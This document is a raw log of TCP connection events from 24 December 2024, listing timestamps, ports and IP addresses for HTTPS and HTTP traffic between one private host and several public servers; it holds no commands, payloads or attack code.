Dec 24, 2024 11:55:20.463247061 CET	49723	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:20.463258982 CET	443	49723	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:21.681963921 CET	443	49723	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:21.682236910 CET	49723	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.682246923 CET	443	49723	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:21.683212042 CET	443	49723	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:21.683281898 CET	49723	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.684376001 CET	49723	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.684405088 CET	49723	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.684432030 CET	443	49723	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:21.684500933 CET	49723	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.684508085 CET	443	49723	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:21.684519053 CET	49723	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.684566021 CET	49723	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.684837103 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.684897900 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:21.684967995 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.685193062 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:21.685210943 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:21.918629885 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:21.918934107 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:21.918946981 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:21.920661926 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:21.920734882 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:21.921875954 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:21.921967030 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:21.965718985 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:21.965728045 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:22.012649059 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:22.261029959 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.261342049 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.261377096 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.261714935 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.261806965 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.262327909 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.262378931 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.262609959 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.262666941 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.262820959 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.262831926 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.315676928 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.586131096 CET	49678	443	192.168.2.16	20.189.173.10
Dec 24, 2024 11:55:22.704881907 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.704905033 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.704911947 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.704948902 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.705132961 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.705132961 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.705172062 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.730011940 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.730087042 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.730106115 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.775768995 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.882790089 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.882800102 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.882882118 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.882903099 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.882956028 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.885695934 CET	49678	443	192.168.2.16	20.189.173.10
Dec 24, 2024 11:55:22.899838924 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:22.903907061 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:22.903927088 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:22.904877901 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:22.904983044 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:22.905961037 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.905968904 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.906052113 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.906061888 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.909667015 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:22.909728050 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:22.909966946 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:22.929344893 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.929353952 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.929435015 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.929445028 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.949682951 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:22.949693918 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:22.982049942 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.983633041 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.983645916 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.983716011 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.983732939 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.983778954 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.983809948 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.983819962 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.983831882 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:22.983840942 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.983871937 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:22.997785091 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:23.069334984 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.069364071 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.069483042 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.069523096 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.112720013 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.112804890 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.112853050 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.112854958 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.112885952 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.112895966 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.112921953 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.112955093 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.128849983 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.128864050 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.128952980 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.128963947 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.129014969 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.149691105 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.149796963 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.149806023 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.181152105 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.181165934 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.181233883 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.181257010 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.181288958 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.234848022 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.258799076 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.258812904 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.258869886 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.258887053 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.258902073 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.258919954 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.258955002 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.258979082 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.283608913 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.283623934 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.283668995 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.283688068 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.283691883 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.283704996 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.283765078 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.305377007 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.305408001 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.305469036 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.305484056 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.305547953 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.324800968 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.324819088 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.324912071 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.324950933 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.325007915 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.336288929 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.336308002 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.336381912 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.336395025 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.336436987 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.342791080 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.342884064 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.342900038 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.348407030 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.348575115 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.348587036 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.355869055 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.355936050 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.355946064 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.362036943 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.362124920 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.362135887 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.367217064 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.367302895 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.367316961 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.376420975 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.376507998 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.376517057 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.381247044 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.381310940 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.381320000 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.424679041 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.460381031 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.460388899 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.460447073 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.460481882 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.460484028 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.460503101 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.460541964 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.460563898 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.469497919 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.469515085 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.469602108 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.469614029 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.469748020 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.479015112 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.479029894 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.479105949 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.479116917 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.479252100 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.487978935 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.488018990 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.488068104 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.488076925 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.488123894 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.488694906 CET	49678	443	192.168.2.16	20.189.173.10
Dec 24, 2024 11:55:23.491775036 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.492011070 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.492022038 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.499644995 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.499660015 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.499742985 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.499777079 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.505485058 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.505498886 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.505598068 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.505609989 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.511399984 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.511414051 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.511468887 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.511487007 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.511518955 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.551728964 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.644999027 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.645010948 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.645066023 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.645070076 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.645107985 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.645127058 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.645143986 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.645179987 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.650672913 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.650691032 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.650764942 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.650775909 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.650830984 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.656501055 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.656527042 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.656568050 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.656577110 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.656596899 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.656656981 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.659135103 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.659210920 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.659219980 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.664963007 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.664977074 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.665029049 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.665039062 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.665069103 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.668019056 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.668100119 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.668108940 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.670591116 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.670675039 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.670686960 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.676331997 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.676345110 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.676405907 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.676417112 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.676456928 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.679065943 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.679126978 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.679136038 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.679177999 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.681524038 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.681591988 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.681601048 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.687489986 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.687505960 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.687586069 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.687602043 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.730711937 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.745839119 CET	49673	443	192.168.2.16	204.79.197.203
Dec 24, 2024 11:55:23.836807013 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.836895943 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.836921930 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.840020895 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.840090036 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.840100050 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.842678070 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.842751026 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.842760086 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.845215082 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.845285892 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.845294952 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.847662926 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.847722054 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.847731113 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.847745895 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:23.847806931 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.847949982 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:23.847970963 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:24.702699900 CET	49678	443	192.168.2.16	20.189.173.10
Dec 24, 2024 11:55:25.833056927 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:25.833133936 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:25.833365917 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:25.834198952 CET	49725	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:25.834227085 CET	443	49725	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:25.979830027 CET	49728	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:25.979865074 CET	443	49728	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:25.980001926 CET	49728	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:25.980310917 CET	49728	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:25.980324030 CET	443	49728	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:27.064856052 CET	49680	80	192.168.2.16	192.229.211.108
Dec 24, 2024 11:55:27.112690926 CET	49678	443	192.168.2.16	20.189.173.10
Dec 24, 2024 11:55:27.188587904 CET	443	49728	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:27.188868999 CET	49728	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:27.188899994 CET	443	49728	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:27.189779043 CET	443	49728	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:27.189847946 CET	49728	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:27.190171003 CET	49728	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:27.190184116 CET	49728	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:27.190226078 CET	443	49728	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:27.190249920 CET	49728	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:27.190282106 CET	49728	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:27.190558910 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:27.190581083 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:27.190660954 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:27.190913916 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:27.190927029 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:27.368696928 CET	49680	80	192.168.2.16	192.229.211.108
Dec 24, 2024 11:55:27.974704981 CET	49680	80	192.168.2.16	192.229.211.108
Dec 24, 2024 11:55:28.401298046 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:28.401633978 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:28.401655912 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:28.402506113 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:28.402677059 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:28.403115034 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:28.403115034 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:28.403165102 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:28.458827972 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:28.458836079 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:28.504911900 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:28.927376032 CET	49730	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:28.927459002 CET	443	49730	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:28.927556038 CET	49730	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:28.928370953 CET	49730	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:28.928405046 CET	443	49730	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:29.005103111 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:29.005120039 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:29.005203009 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:29.005470037 CET	49731	443	192.168.2.16	152.199.21.175
Dec 24, 2024 11:55:29.005482912 CET	443	49731	152.199.21.175	192.168.2.16
Dec 24, 2024 11:55:29.047880888 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:29.047939062 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:29.048072100 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:29.048644066 CET	49729	443	192.168.2.16	172.67.145.45
Dec 24, 2024 11:55:29.048660040 CET	443	49729	172.67.145.45	192.168.2.16
Dec 24, 2024 11:55:29.175736904 CET	49680	80	192.168.2.16	192.229.211.108
Dec 24, 2024 11:55:30.137542963 CET	443	49730	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:30.139375925 CET	49730	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:30.139415026 CET	443	49730	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:30.140294075 CET	443	49730	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:30.140373945 CET	49730	443	192.168.2.16	104.21.33.126
